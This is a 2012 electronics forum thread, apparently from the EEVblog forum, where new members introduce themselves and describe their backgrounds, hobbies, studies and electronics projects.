Hi, I'm Dan. I live in the country Australia (NSW). I'm a bit of a jack of all trades (and master of none, of course). Working as an IT Tech at the moment, part time. I thought of organising my home "workshop" a little bit, and then I saw Dave's video on YouTube. That's what got me here. That's it for now, cheers all.
Title: Re: New Member, Please introduce yourself
Post by: graynomad on April 06, 2012, 09:27:34 am
Where in NSW?

______
Rob
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Post by: Antronics93 on April 06, 2012, 03:05:42 pm
Hello!

My name is Anton, and I live in Sweden (You know; IKEA, ABBA, etc.).

At 18 years you could easily say that I am one of the least experienced within electronics on this forum, at least so would I guess. But I find electronics really interesting, at least I find it interesting enough to choose it as orientation for 5 years in College/University, which I’ll commence this autumn after I’ve finished Sweden’s equivalence to High-School. (Or at least I’ve applied to a school, though my grades tell me I should get a place, the school I’m talking about is Chalmers, in Göteborg (Gothenborg), if there is any other Swedes here :D )

And to say that videos like Dave's hasn't been a part of my growing interest in electronics I think I would be lying...  ;)

So, even though my current experience is limited I am a fast learner and I find electronics interesting, so I think I’ll enjoy the EEV-Blog even more now that I’ve got access to the forum as well, in any case I’ll be able to help any of you with translation if you should end up with furniture from IKEA with an instruction in Swedish ;)
Title: Re: New Member, Please introduce yourself
Post by: BewilderedIdea on April 07, 2012, 01:08:51 am
G'day... hehehe :) am new to the blog...and to electronics in general... got interested via the **clears throat** arduino  muhahahah ...I am a disability pensioner with to much time on my hands so am attempting to fill ma heid with sommat useful hehe :D

Cannot say I have any great aptitude for EE but am definitely enthusiastic!
I very much enjoy Dave's blog ....and his rants  hehehe...sometimes life doesn't NEED to be candy coated :D hehehe...

I was watching the 3D printing of the space invaders a few days ago and a thought occurred to me...if one were to combine a 3D plastics extruder with a pickNplace setup....could one possibly build brick-like IC's by incorporating smd components  and connections into a 3D printed IC-brick?

Another thought was wh@ if one were to incorporate a method of cutting and placing current conducting  thread [like th@  availably from adafruit] into, perhaps, a 3D printed board, one might reliably produce small run pcb's with it? placement of smd components combined with current conducting thread might produce a reasonable end product...assuming the right plastic was used { IF there IS a good alternative available...I do not know if currently used plastics would be suitable for a 3Dprinted pcb  ::) } then a 3D structural printed circuit unit [sculpture?...appliance?...wh@ever?] might be entirely possible...hmmm
hehehe
As you may be able to tell, I am FULL of idea's...many of em...and many beyond my skills to realize :P ...so I share em :D hehehe
Anyway...th@'s my intro... hehehe
BwI
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Post by: MagFlux on April 07, 2012, 02:41:36 am
Greetings from Canada,
My name is Jerry, I've had a life long passion for all things technical in the world around us.
There has always been a particular focus on electronics, as it is the world of the unseen.(Unlike mechanics, WYSIWYG) I've had a lot of experience in almost all the aspects of electronics, from bench work in a couple of engineering firms to management in fabrication shops.
The last ten years I dropped out to try other fields(HVAC, Machine shops, etc.) because I simply wanted electronics back as a hobby.
As life can seem to conspire against you at times, no free time was available for my hobby. Until now, just dug out my stored equipment and built a Lab grade PSU.
 What a Rush! Forgot how good it felt to be at the bench!
Only two regrets, not starting sooner, and not finding Dave's 12 Part Lab PSU blog until after I completed mine. Damn, his turned out better than mine. One thing I would do next time is use a 25VDC / 2A Wall Wart instead of building in the mains, xformer and bridge.
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Post by: Rerouter on April 07, 2012, 03:46:52 am
Another thought was wh@ if one were to incorporate a method of cutting and placing current conducting  thread [like th@  availably from adafruit] into, perhaps, a 3D printed board, one might reliably produce small run pcb's with it? placement of smd components combined with current conducting thread might produce a reasonable end product...assuming the right plastic was used { IF there IS a good alternative available...I do not know if currently used plastics would be suitable for a 3Dprinted pcb  ::) } then a 3D structural printed circuit unit [sculpture?...appliance?...wh@ever?] might be entirely possible...hmmm

you may get a small laugh but that is touching on the older methods of using multilater boards with varying lengths and thicknesses of wire connecting them like a maze, it was generally abandoned because they where a right ol PITA to repair expecially on the inner layers, still as far as tamperproofing protection goes, would be novel not only encasing but also making the entire structure only self supporting by its medium, still absolutly impossible to repair.
Title: Re: New Member, Please introduce yourself
Post by: warner on April 07, 2012, 10:37:19 pm
Hi im Jules from enlgand pleased to meet everyone , ive been interested in electronics for some time now although never had the money space or confidence to persue .....till now i have a number of project i want to make and a number of circuits and bits i would like to repair and woul dreally apprecaite  anyone who can give me some advise please for starters i need to know the absolute basic of what i need just to get started i have watched the youtube video but my funds dont stregth that far i have around £200-£300 at the very most. i already own a large assortment of screwdrivers cutters pliers etc as im an unqualified computer technician i do have more than 1 soldering irons but just the cheap plug in ones dont have variable temp on any of them and whats the best types and siizes to get etc
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Post by: poorchava on April 12, 2012, 03:48:50 pm
Hi,

my name's Rafal, 25 years old, from Poland.

I've recently graduated MSc in electronic engineering and I'm currently working as electronic components engineer for a large automotive company. I've been doing various kinds of electronics-related stuff for about 10 years. My field of interest is mainly microcontrollers, mixed signal design and various measurement techniques. Currently I'm developing 3 projects: a miniature power-led driver (18mm in diameter, 7mm thick), a dsPIC-based 30 kW pizza owen controller and a cnc mill (both mechanical and electronic design).
Title: Re: New Member, Please introduce yourself
Post by: warner on April 12, 2012, 04:13:48 pm
hi everyone well by the looks of it everyone here is either in college uni etc or working within the electronics electrical field  i did go to college bk in 2000 for electrical installation but moved before i could get the quals for it only did around a yr there so it looks like im the least qualified or experienced here although that doesnt really fuse my i used to work as a computer technician only for about 2 months as i was agency  although i still have a huge interest in how things work , but the main reason want to learn electronics is so i can do my own repairs and customise things for how i want them also i hae a few projects that i am working on things that havent been made yet or come out althought i cant talk about my projects much or say what they are due to its being wrapped up in legal stuff need to wait for my patents to come back and so fought but i have been watching alot of youtube vids reaqding up in forums google serchs etc etc plus going through my own things things see wht components i can use and what i can strip down for various other ues although im more than happy to listen to any advise people may have for me and more than happy to talk anything anythign electrical /electronics related
Title: Re: New Member, Please introduce yourself
Post by: boostedsupra on April 13, 2012, 11:23:44 pm
Hello forum, i have been a custom yacht electrician for 5 years now, but due the economy i was layed off, now i am a full time student going for my bachleors degree in electrical engineering with the hopes of getting into the Aeronautics field doing Avionics and instrumentation. also i build wiring harness, instruments/gauges and full race car build. look foward to learning some new things off this forum.
Title: Re: New Member, Please introduce yourself
Post by: rig1974 on April 17, 2012, 06:10:55 am
Hi to everyone!

I'm from Romania and i'm an electric engeneering student and a new member of this community. 

Otherway i hope to have some good time in this community. ;)
Title: Re: New Member, Please introduce yourself
Post by: kj6tk on April 18, 2012, 04:16:57 am
Hi all

Once a electronic design engineer been working in management and computers for the last few years getting back to electronic tinkering for the fun of it, the theory stays the same but the components get smaller :)

John aka kj6tk
Title: Re: New Member, Please introduce yourself
Post by: NukerDoggie on April 18, 2012, 05:47:48 pm
Hi all,

I'm a new member from USA. I'm a longtime C/C++ developer currently working for one of the Big Three telecoms as an enterprise system tester. In my spare time I'm developing a medical device aimed at helping persons with neurological disorders (like MS and PLS) recover some of their quality of life. That's been a 15-year project so far. I'm still in the clinical trials phase, but have accumulated significant evidence of effectiveness of the method and device.

I like to think outside the box, but never beyond the confines of true science, and never along lines that do not appeal to good logic and common sense. I've personally fought the FDA for 15 years to get them to open their minds to certain alternative medical technologies, and while my device is not yet approved, a growing number of others that employ similar technology (photo-biostimulation) are fully approved. This change in the mindset at the FDA has occurred only in the last 5 years or so. I'd like to think that my voice helped a little, but I have no proof of that.

My situation (getting FDA approval) is made much more difficult because my claims are much harder to prove than most of those made by the other photo-biostimulation device manufacturers. I'm claiming my device can resolve sclerosis (scarring) of the upper and lower motor neurons, in the regions in the cervical spine where the two interact. They are understandably very skeptical. But I'm just as determined to prove my claims.

I LOVE duking it out with the FDA!
Title: Re: New Member, Please introduce yourself
Post by: elliot42 on April 21, 2012, 01:40:20 am
Hi all!

I'm from Sydney, Australia. I'm a recent graduate from UTS (2010) with a degree in IT and I'm now working as a software engineer.
I've been interested in electronics, programming, making things and taking stuff apart and seeing how they work since I was little. I started with Dick Smith's Funway Into Electronics 1 with my dad when I was about 10 and from then I have been tinkering with simple circuits, computers, various kits and projects including amplifiers and DACs. I also have a weakness for shiny gadgets, made worse now that I have a full-time job and the income that comes with it :p

I've been lurking here, looking at oscilloscopes and watching Dave's videos. I might post now and then now too.

Owen.
Title: Re: New Member, Please introduce yourself
Post by: Mischa on April 21, 2012, 12:59:32 pm
Hi everyone, i'm from Slovenia, Ljubljana, i've been working as a sound technician/electrician for some time. At the moment i have another job (work at the office) because contracts in my country are often not payed. My hobby is diy pro audio electronics, mostly tube preamps, mics and similar. I would like to start working on it more serious and hope to sell some of my gear, beside working at the office. I came here to get advices about test instruments i need to expand my hobby, and talk about electronics. Dave's excellent youtube videos got me interested in this forum.
I'm looking forward to have a great time with you guys!

Cheers, Miha
Title: Re: New Member, Please introduce yourself
Post by: Galenbo on April 21, 2012, 04:54:04 pm
Hi all, I live in Belgium.

Master degree Electromechanics, bachelor Electronics.

I mainly work on industrial machines,
thanks to this blog I took up my old hobby, electronics.

Already costed me a lot of money, new scope, functgen, ... :-)
Title: Re: New Member, Please introduce yourself
Post by: jucole on April 23, 2012, 10:46:11 pm
Hi, I'm Jules from UK, i'm an artist and programmer by trade but I've always had a soft spot for electronics but never took it up, then recently I bought a pottery kiln from Ebay and decided to make my own digital controller for it, how hard can it be? some 2 years later and a spare room full of 2nd hand test gear crap, my little widget is almost ready to release to the world!! 

I really enjoy watching the EEVBlogs and especially like the whiteboard pen tapping parts. beaut !!! ;-)
Title: Re: New Member, Please introduce yourself
Post by: tim510 on April 26, 2012, 01:33:39 am
Hi my name is Tim,

Transfer student at UCI studying EE. I'm a jr. looking to get hands on experience with electronics because I find it interesting and I feel inadequate in my knowledge. Until college I had never experimented with circuits. Prior to transferring I was interested in utility power but there isn't much of that offered at my school under the EE program. Now I'm finding myself really interested in analog circuits and power electronics.
Title: Re: New Member, Please introduce yourself
Post by: brian on April 26, 2012, 02:37:37 pm
Hello everyone,

I’m from Omaha, Nebraska (USA).  I work as a Software Engineer, writing commercial software for Windows based PC’s in C++ and Java.  I’m also a Graduate student at Regis University, in Denver CO.

I got interested in electronics repair in High School and have enjoying it as a hobby ever since then. 

Brian
Title: Re: New Member, Please introduce yourself
Post by: PerPC on April 28, 2012, 01:45:47 am
Well everyone calls me mike. Here with the intent on gaining some useful knowledge and who knows, maybe cutting a profit in the process ;) ;). Oh yeah, and warner (guy who posted like 4 or 5 post before me) 300 pounds should do u good. i pretty much have the basics of what i need (200 dollas) and a 100 dollars to spare (still needs materials and a few tools): add that up and thats a total of 300 american dollars. heck and last time i checked the british pound out did the dollar ;) :) GL

P.S: im missing the big items like the scope and glue gun and second soldering iron and well the big stuff but a multimeter should do me good for the time being im guessing.
Title: Re: New Member, Please introduce yourself
Post by: sysmatt on April 29, 2012, 01:39:43 pm
Hi All!   Matt from New Jersey USA here.    I have been an electronics hobbist for ever.  My dad put a soldering iron in my hand as soon as i was able to hold the right end.  I attended a technical high school and had four years of electronics.  During that time, by passion forked into computers/microprocessors and electronics.   By year two in HS i was working with MOT 6800 and Z80/8080 CPU projects.   Fast forward 10 years, my passion for computers led me to Open Source, Linux, Unix, yadda yadda..  and a career in IT.   My day to day career is Unix sysadmin/vSphere/Datacenter management/networking/etc.  Its worked out pretty well.   My firm foundation of electronics has served me very well. 

I skipped college BTW, which is rather interesting considering where i work.   

... When i am not working, I am hacking.   Electronics usually.  I really like AVR MCUs, but not as a religion.   My preference is mainly based on the ease of use with the open source AVR-GCC tool chain.    To me, VIM, Gcc, Makefiles etc is much preferred compared to a GUI IDE... That said, I so occasionally use the Arduino stack, some of the libraries are just so easy to use.   But for that ease, you pay with frustration/insanity.      What i do LOVE about arduino is how it has revived a lot of interest in electronics/hacking.  It gets a lot of students interested in electronics and/or programming.   But i digress.

Ive written a number of articles on IT related subjects in Linux Journal, ;login, and SysAdmin (gone!)... But nothing recently.  No time!

Well that is probably a good intro. 

A quick Thank You to Dave. The EEVblog is a gem.  Seriously, every one is packed full of interesting info and always entertaining. 

Its an amazing time we live in.  I remember when i was in high school...  The library of data books.   Trying to FIND something!... The photo copier was your friend.   Now, google.   bang, anything you want.   Building MCU projects... all those 8 and 16 bit buses!   wire wrap nightmare!

Anyway, i can ramble on forever.   

Thanks
-Matt
Title: Re: New Member, Please introduce yourself
Post by: Teneyes on April 30, 2012, 07:14:25 am
Hi Folks
      I'm  Len aka  iiiiiiiiii,  four eyes wasn't enough!. Canadian, in BC.       Started early,putting things in  wall sockets at 3,  Mom said.  Built my VOM-meter at 12.  TV tube Jockey after school. Then on to college , and Tech School.
Summer jobs:  Video production;   Defence research grant;   Marine communications.
Wandered through careers in:  Satellite earth stations, Police info systems, Industrial Communications, more University, Banking machines, E Engineering, and Process Control Systems. 
Some cute Events:
             Set 100volt charge on the capacitors in the highschool Physic Lab, for the Teacher to pick up
             Put white tape on my New black glasses so no one would notice I got new glasses
             Packed 100lbs of test equipment across frozen Arctic sea to tuneup satellite earth station
             Turned on the 1st TV transmitter in an Arctic town of 500 where 60%  had never seen a TV
             Fixed a bug that gave free money from credit union bank machines (fix for all but one card :) )
             Programmed system to process and sort BHP diamonds from the Canadian Arctic.
Favourite Technology... Hyperlinks
 
Now just do part-time projects and play.
     
Nice to be here and love the Vblogs, I learn so much,   good  fun ,, Thanks
Title: Re: New Member, Please introduce yourself
Post by: obiwanjacobi on May 02, 2012, 02:32:12 pm
Hi,

I recently discovered the EEVBlog (through YouTube) while searching for some electronics content on the net. I studied electronics but after 3 years working at a small company I switched to software (easier to get results I guess  :P ). I am working these days as a (software) Solutions Architect / Lead Developer using Microsoft technology (.NET/C#). I am also playing guitar and fiddling around with the equipment of my home studio.

Recently I bought an Arduino and that has got things rolling again. I am currently working on a Midi mapper/processor and have some other projects in my head/on paper.

Title: Re: New Member, Please introduce yourself
Post by: pcbprototype on May 03, 2012, 10:24:01 pm
I am working for http://www.sinomicro.co.uk (http://www.sinomicro.co.uk), which is a quick turn printed circuit board (PCB) manufacturer in UK.
Title: Re: New Member, Please introduce yourself
Post by: si2030 on May 04, 2012, 04:48:37 am
Hi there,

My name's Simon and I hail from Victoria Australia.  I am you typical home hobbyist and found this site purely by chance when I was searching for a way to implement constant current limiting. My gosh the series on the power supply was excellent. :)  I am now roaming through the other episodes so thanks Dave for taking the time to put these together.

Cheers

Simon
Title: Re: New Member, Please introduce yourself
Post by: AtomicDog on May 12, 2012, 11:59:12 am
Hello. First l'll explain my username. I'm an instrument technician for Oak Ridge National Labs working in Particle Physics and Materials Sciences. That's the Atomic part. I'm an amatuer radio operator with the call sign KI4DOG. Yep, Dog. My work involves a lot of older elecronics (which I love),data acquisition and instrument calibration. I'm particularly fond of power supply and rf work. The older the better. Compared to most people here I'm an electronics idiot, so please have patience. I'm also a photographer if you like that sort of thing.
Title: Re: New Member, Please introduce yourself
Post by: tom_m on May 12, 2012, 06:58:54 pm
Tom here, from the UK. I'm 63, so I've seen a lot of advances in electronics since I got into it, about 50 years a ago. I started off with a box under the bed with all my components in - mainly valves (tubes) and passive components. Thee days I'm into pic's and other microcontrollers, which form the heart of my projects.
Title: Re: New Member, Please introduce yourself
Post by: Fishplate42 on May 16, 2012, 10:51:18 pm
Hello!

Wow! This place is just what I have been looking for.  A realistic electronics forum with a straight up and down bloke running it - Brilliant!

My real name is Ralph and I live in London, England with my wife Sue. I have been interested in electronics since I was a teenager (now 56). I usually try to build stuff that is used in my other interests. Over the years this has included automotive electrics, audio and various model-making projects. Currently I am experimenting with microprocessors to control low voltage lighting and motors for use in model railways and Meccano (Erector) models. you can see my workshop and catch up with what I have been up to lately HERE (http://www.my-meccano.co.uk)

Although I have been dabbling for years, my technical knowledge is fairly small. I am hoping that I can learn a lot from reading this forum and joining in where I can. I have just bought an Arduino Uno and managed to get it to flash a LED. Now, this may not be an earth-shattering achievement but I did manage to write my own little programme and for me it is the first step on the ladder.

After years of just building little projects I am now studding the basics and intend to master designing and building my own projects. I have recently started a blog about what goes on in our workshop. Although this covers all sorts of things there is a bit of electronics mentioned here and there and no doubt there will be a lot more. If you want to see what is going on go to  Ralph's Workshop (http://ralphsworkshop.blogspot.co.uk/)

Ralph ;)

Title: Re: New Member, Please introduce yourself
Post by: Ishmael on May 17, 2012, 04:34:54 am
Call me Ishmael.

I just graduated from high school. On August I'm starting my first year of undergraduate studies in electrical engineering at the local university.

I found EEVblog while searching Youtube for electronics videos. EEVBLOG is the best!
Title: Re: New Member, Please introduce yourself
Post by: cabraham on May 17, 2012, 07:10:00 pm
Greetings friends.  My name is Claude.  I am a pro EE, generalist, for 34 years now.  In 2007 I returned to school for the Ph.D. after a 27 year break since the MSEE.  I still have to complete my dissertation.  My course work & qualifier are completed.

My hobbies are drumming (44 years), singing (3 yrs), & guitar (2 years).  Videos of my drumming & singing can be seen on y*****e.  My name there is "claude544".  I look forward to some exciting & enlightening discussions.  Best regards.

Claude
Title: Re: New Member, Please introduce yourself
Post by: dumle29 on May 18, 2012, 03:49:32 pm
Hi, my name is Mikkel, and im 17 years old from Denmark, and do electronics for a hobby. I love electronics, and im counting on studing embedded systems. I found the EEV blog, and this forum, and its just fantastic. The members are passionate and eager to help.
As if that wasn't enough, Dave is also active in the forums.

Thanks for being awesome! :D
Title: Re: New Member, Please introduce yourself
Post by: Jason Long on May 20, 2012, 04:19:54 am
Hi my name is Jason and I'm a total noob when it comes to electronics. A few months back I decided that I needed a hobby so I picked up a copy of Make: Electronics. I ran across the EEVBLOG on YouTube while I was looking for soldering tutorials. By the time I had made it through all 3 of Dave's soldering tutorials I was hooked.

To be honest, most of this is still over my head but the more I read and watch the more it's sinking in.
Title: Re: New Member, Please introduce yourself
Post by: StubbornGreek on May 23, 2012, 09:03:25 pm
I missed this thread initially. I'm from the east coast of the US and own/operate a small pc business. I'm in the midst of transitioning the company (name change, website, etc) but I'll update when its all set.

As far as electronics go, when I was ten, I completely took apart my timex sinclair computer (not much by today's standards, lol) and managed to reassemble it myself - its been an obsession with pc's and electronics since. Ha, remembering back, nothing was safe from my philips head screwdriver, not the telelphone, not the tv (first time I ever got shocked - lucky...).
Title: Re: New Member, Please introduce yourself
Post by: Parsley on May 24, 2012, 08:51:26 am
Hi, I am from Germany, have studied electronics, like Geocaching since 2005 and have a Ham Radio license.

@EEVblog Dave: Awesome! Thanks for everything!
Title: Re: New Member, Please introduce yourself
Post by: chavotronic on May 24, 2012, 10:43:57 am
Hi,

I am David from Belgium, almost finishing my electrical engineering studies.
I am interested in quadrocopter flying and building.

Best,

David
Title: Re: New Member, Please introduce yourself
Post by: Haap on May 24, 2012, 11:22:46 am
Hi I'm Chris

I'm a few months away from completing my PhD in Engineering Physics. My background is in molecular beam epitaxy, electron microscopy, and optical spectroscopy.

As a hobby, I have begun building vacuum tube guitar amplifiers, and guitar effects pedals (and even guitars). I've also begun to toy around with electronics. As a first step towards building a home lab, I'm hoping to build Rev B of Dave's PSU, i.e. the one without the battery ;) 
Title: Re: New Member, Please introduce yourself
Post by: Pack34 on May 24, 2012, 02:38:10 pm
Hi,

My name is Jason. I'm a graduate student in EE with a focus on digital circuits. I found the site when doing some research into setting up a lab at home.  I'm loving the information.

Once the rest of my parts get in I'll be building a small series of LED projects to give myself a refresh on soldering, test equipment, programming (Arduino) and to introduce myself so some PCB work with Eagle. Then move onto some robotics work (pico-copter, aeroquad, Arduino powered Roomba?). I'm also planning on following a suggestion Dave made during his Amp Hour podcast, to really catalog everything I do and display it on a blog. I'm also planning on going through a lot of my old notes and do short write-ups on concepts from the various classes I've taken.

If all goes well, maybe I might be able to find a job within the next 12 months  :P
Title: Re: New Member, Please introduce yourself
Post by: Architect_1077 on May 24, 2012, 06:55:27 pm
Never got to introduce myself, so here goes:

I'm Rick from Portugal. I've always had an interest in Electronics since an early age but only over the last few months did I start to take it up more seriously as a hobby. Since money comes at a premium it's going to take awhile to accumulate some decent gear, but I'm a determined fellow. I don't have any formal education in the field, but that won't stop me  8)
Title: Re: New Member, Please introduce yourself
Post by: JoannaK on May 25, 2012, 11:02:32 pm
Hello

I'm Joanna and living in more or less middle of Finland. I'm more old school electronics designer and hobbyist. It started qute innocently as a hobby but somehow it turned to full time job. My university grade is Masters degree on Computer Systems (embedded SW/HW) but quite frankly I learned most of the things by reading, thinking and doing.

I like hacking, reverse enginering and other neat stuff, also so sme photography and computer tinkering. Started computers with AppleII and C64, made some programs to those, at Amiga -era we did bring up our own company.

Lately I have stated to tinker again with 8-bit pics (used 16C84 years ago), other experience of µcontrollers include 6502, HC11, 68k, PPC, ARm, Propeller and some DSP's.. Like rather code at assembler and to understand how to make tight code.
Title: Re: New Member, Please introduce yourself
Post by: kdewitt on May 26, 2012, 02:30:53 pm
Hello all, My name is Kurt DeWitt.  I'm an Electrical Engineer in the U.S.  Although I started out life as a circuit designer, I have ended up moving up the "stack" from computer board designer to systems engineer to now Cloud Architect at EMC.  So, basically, I guess I'm a generalist from bottom to top.  I still like to tinker in my lab at times with building things though.  Lately, my tinkering has been more on the software side of things though.

BTW - what's with the meaning of life math challenge for all the posts?
Title: Re: New Member, Please introduce yourself
Post by: JoeAtl30319 on May 26, 2012, 07:01:51 pm
Hey! I'm Joe. I am a Financial Analyst / Accountant with an interest in electronics. I like constructing my own equipment and currently reside in Atlanta, Ga (U.S.A.).
Title: Re: New Member, Please introduce yourself
Post by: BrettP on May 27, 2012, 03:39:08 am
Hello,

My name is Brett and I'm a Network Administrator for a small company.  I recently took up electronics as a hobby (after being curious but noncommittal) and have mostly played with kits, but have ambitions to learn more theory and get more practical experience.
Title: Re: New Member, Please introduce yourself
Post by: BlackHawk2399 on May 28, 2012, 02:08:54 pm
Hi, I am Owais(BlackHawk2399) from Pakistan. I am 13 years old. I am still an 8 grader but love the videos and love electronics!
Title: Re: New Member, Please introduce yourself
Post by: jlutes on May 29, 2012, 02:38:31 am
Jeff from Kansas.  I went to school for electronics a number of years ago but have been in the I.T. industry for quite some time.
Title: Re: New Member, Please introduce yourself
Post by: WVCapsfan on May 29, 2012, 03:37:13 am
This is Jeff from West Virginia. I started out in electrical engineering many years ago but got disillusioned by all the theory and math. I switched majors and ended up in manufacturing engineering with a Masters and got into quality control and process improvement stuff. Worked in the automotive industry in and around Detroit for fifteen years and then got burned out and switched careers. Also have thirteen years in the Air National Guard as an aircraft electrician (A7, F4, C-130, C5 aircraft). 

Anyway, I was at an auction several months ago and came across about fifteen bins of various parts, including lots of IC chips and some specialized tools. I made notes to look them up for bid reference to hopefully resell for profit on eBay (the bidding got out of control, so I didn't get them), but anyway, from internet searches through the Talking Electronics site, I found Dave and the EEV videos. Been watching them which have greatly rekindled my interest in the field and am now working on the MIT open courseware classes; Yes, I am starting all over with complete math review. THANKS DAVE!! 

PS: I did get an auction deal on a 1962 vintage Tektronix 561A scope with 3A1 dual trace and 3B4 time base - of which I then proceeded to spend four times what I paid for the dang thing for new probes and the manuals. At least it does all work. Well, I've got my first piece of equipment.

Also, I Have also disassembled (recycled) a junk MITA copy machine, collator, and a bunch of other electronics "waste" to seed my project parts supply.  I download the Amp Hour shows as mp3 files to listen in the car. Lots to learn.  Thanks in advance for putting up with me (don't say I didn't warn you.
Title: Re: New Member, Please introduce yourself
Post by: budmanjr123 on May 29, 2012, 03:57:19 am
Hi! I'm Mike and I am from Minnesota, USA. I am just about 16 years old and I recently got extremely interested in electronic engineering about 3 months ago. I learned how interested I am when we worked with simple bread boarding in my principles of engineering class. What we did just involved resistors, lights, and jumper wires, and even that got me hooked. I first ordered a book teaching about some basic electronic circuit parts from hobby engineering, then bought some more components, and some more, and some more with money I had saved from babysitting and working at McDonalds for 4 months ( I do not recommend working there) and now I have different types of IC's and components and I have made many fun circuits (complex to a newbie like me, but very simple to the rest of the electronic world) Like police lights, simon game with an arduino duemilanove, and some fun logic gate button clicking circuits! Currently I am trying to learn about Op-Amps, Comparators, and other linear IC's.  I hope to go to college for electronic engineering and learn more about the wonderful world of electronics, and all of its possibilities. Then live my life with a career that I love!
Title: Re: New Member, Please introduce yourself
Post by: gerrysweeney on May 29, 2012, 08:37:05 am
Hello,

My name is Gerry. I have been playing with electronics on and off for many years, the first thing I ever made work by myself was when I connected a turntable found in a skip to a reel to reel tape machine donated to me by my next door neigbour (showing my age now) - I was eight years old.  By the time I learned to make stuff with digital electronics (discrete TTL/CMOS) when I was 14 and I was hooked.  In the early 80's I started plating with computers starting with a ZX80, 81 and Spectrum, C64 and IBM PC, all hacked of course as I felt compelled to connect my own digital circuitry to them :)

I have always had tools and test gear of some sort at home but despite having a few jobs where electronics was part of the job, as it turned out I was much better at writing software and not too bad at running a business so thats ultimatly where my career took me.  For work I am involved with enterprise business applications and cloud based services, but I have always kept myself tinkering with embedded software and hardware at home - PIC's mainly.

My blog (which is a recent effort) is here http://gerrysweeney.com/ (http://gerrysweeney.com/)

There you go, my life story, you can all wake up now  8)

I love the EEVBLOG....thanks Dave

Gerry
Title: Re: New Member, Please introduce yourself
Post by: bdivi on May 29, 2012, 01:02:51 pm
Hi, I am Borislav from Bulgaria.

I am an IT architect but I still keep my electronics interests from my primary school. I have a small collection of vintage test gear - mainly from HP/Agilent, Tektronix and Fluke that still amazes me with regard to engineering and production quality.

I also spend some time on making audio gear - amplifiers and speakers.

Kudos to Dave for the video blog and the forum. I have had so much fun watching the episodes and I am always thrilled to see every new one.

Cheers to everyone
bdivi
Title: Re: New Member, Please introduce yourself
Post by: TbayBoy on May 29, 2012, 03:06:26 pm
Hello :)

I'm an EE student from Canada just popping in to learn
Title: Re: New Member, Please introduce yourself
Post by: kfitch42 on May 30, 2012, 02:42:39 am
My name is Kevin Fitch. I am a software engineer by training and trade. But, I have recently been bitten by the electronics bug. I haven't done much more than blink an LED with a 555. But I have much bigger plans ... Just need a few more toys (O-scope, LA, ...) before I conquer the world :)
Title: Re: New Member, Please introduce yourself
Post by: R-M-I on May 30, 2012, 10:04:47 am
I'm Remi..
29 years old, from Norway. I'm a System Administrator\Network Engineer\technician by training and trade.

I've always been facinated by electronics and always want to know "how it works".
So... I'm basically the kind of guy that "fixes" things that aren't broken (yet), [That's when you start reading the manual right?].

I currently own a Ardunio UNO R3 that I've been using for different projects.
One of them are here -> http://youtu.be/dnCiJrnM_fg?hd=1 (http://youtu.be/dnCiJrnM_fg?hd=1)

I recently also bought a PICKit3 that I will be experimenting with.

Will hopefully be posting some of my modest projects at a later point when I get around to uploading all the pictures and all..

I'm in no way an expert\experienced electronics-guy, but I want to learn and that's basically why I'm here.

-Remi
Title: Re: New Member, Please introduce yourself
Post by: valdas on May 30, 2012, 05:51:46 pm
Hello, my name is Valdas. I am from Lithuania, often you can find me in UK :)

I work 1/2 of a day as web based program developer for one engineering company (repairing, building, modernizing industrial objects). And 1/2 of a day i work as visual design freelancer.

My first introduction to electronics was ZX Spectrum tare down, actually i was trying to fix it. At a time i was 10,  I think. It was not the best experience for ZX :D By my 16 i knew what is capacitor, resistor, transistor and diode :) Few years ago i bought 1 atmega 8 for one project. Finished it and it worked nicely :) it was code generator. Next i made my own development board with atmega and enc28j60, and it started :D

Project that i recently made

3 axis CNC 65 cm X 45 cm x 12 cm all made of laser cut steel 10 mm :)
Underwater lighting projector with with W+RGB leds for adjusting light temperature. All casing is water tight switches made with REED.
Wooden laptop (actually fiberglass laminated with wood)
UV box with timer

now i am working on tiny quad copter (4.5 cm), i just finished designing pcb (2 side, very compact layout). I has 3 axis accelerometer, 3axis gyro, 3axis magnetometer, rf chip and you guest it Atmega for its brains :D tint 6mm coreless  motors, 300 ma lipo battery, step up dc chip, and some passive components. All component weight 18g. I made a test it can lift from 35g to 45g when motors maxed out, but they get quite hot, and battery drains super quickly :)

 
 So thats all folks for now :)

And Dave thumbs up for eevblog :)
Title: Re: New Member, Please introduce yourself
Post by: Zopsi on May 30, 2012, 06:00:28 pm
Hey guys,

I forgot to formally introduce myself. I'm Bob from California and I'm an Electrical and Computer Engineer. Pretty much all there is to it.

Title: Re: New Member, Please introduce yourself
Post by: spyderjacks on May 30, 2012, 10:06:42 pm
Hello:

This Mike from NJ, software engineer and lifelong fabricator, including electronics.  I was born to "take it apart"... and it's taken a lot of years to be reasonably successful at putting them back together.  Tear-down Tuesdays are in my calendar now!  Thanks Dave for a great vblog and forum.  I've looked at maybe 50% of the vids - this is where I need to hang out!

Cheers.
Title: Re: New Member, Please introduce yourself
Post by: SoundBound on May 31, 2012, 01:54:00 am
Hello everyone!

My name is SoundBound, aka Rick.  I am a computer electronics technologist out of Canada.  Should have realized I was a techie when I was a kid on the beach and everyone was making sand castles, I was making sand refineries (using various plastic cups and glasses to make storage tanks with sand and using straws etc. to make the pipes that linked them - loved those bendy straws!).  My main hobby is audio equipment, but enjoy computer stuff too.  Mostly analog, turntables, tube amps and preamps etc.  I enjoy modifying audio gear as well as restoring and making my own gear.  Currently several projects on the go.  Right now it's a TT motor speed controller, then I have a tube preamp to build.

Really enjoy the site for new info and methodology.  Thanks !!
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Post by: Clifton Harp on May 31, 2012, 02:02:58 am
Hello everyone. My name is Clifton Harp. I am 34 yrs old and live in Ohio, United States. I like a good movie, long walks on the beach, and poking dead things with a stick. Haha...but seriously...dead things ...sticks...lol  January 2nd of this year I started attending Devry University's online program for EET. Now, I have always been a hands-on kind of guy. I started working on cars when I was 9 and started making money working on cars just a year later. I never had any decent toys because I tore them all apart to see how they worked. Anyway, back to the subject. I am just getting into the world of electronics and I am having a BLAST! I already have some ideas that i will be trying to work out as I progress through this degree. The great thing is...they provide some decent equipment to start with. If I think about it I will have to post some pics of the trainer pad they supply me with, along with the Textronix TDS 1002B scope and the Fluke 77-4 (yeah I know...not the best, but it's still a decent meter) Not only that but they give me all sorts of components to play around with. mainly passive components but I do have a few logic gates, switches, LED's, and a 7 segment display (single digit only though) :( Anyway, if you have ay questions for me just shoot me a line and I'll try to get back with them as soon as I can. BTW I might be polling you guys (and girls) for some info and general knowledge stuff so if I ask something that seems a bit amateur-ish remember I am only getting started so be gentle (It's my first time LOL) Nice to meet you all :)
Title: Re: New Member, Please introduce yourself
Post by: cobblers on June 01, 2012, 03:52:58 pm
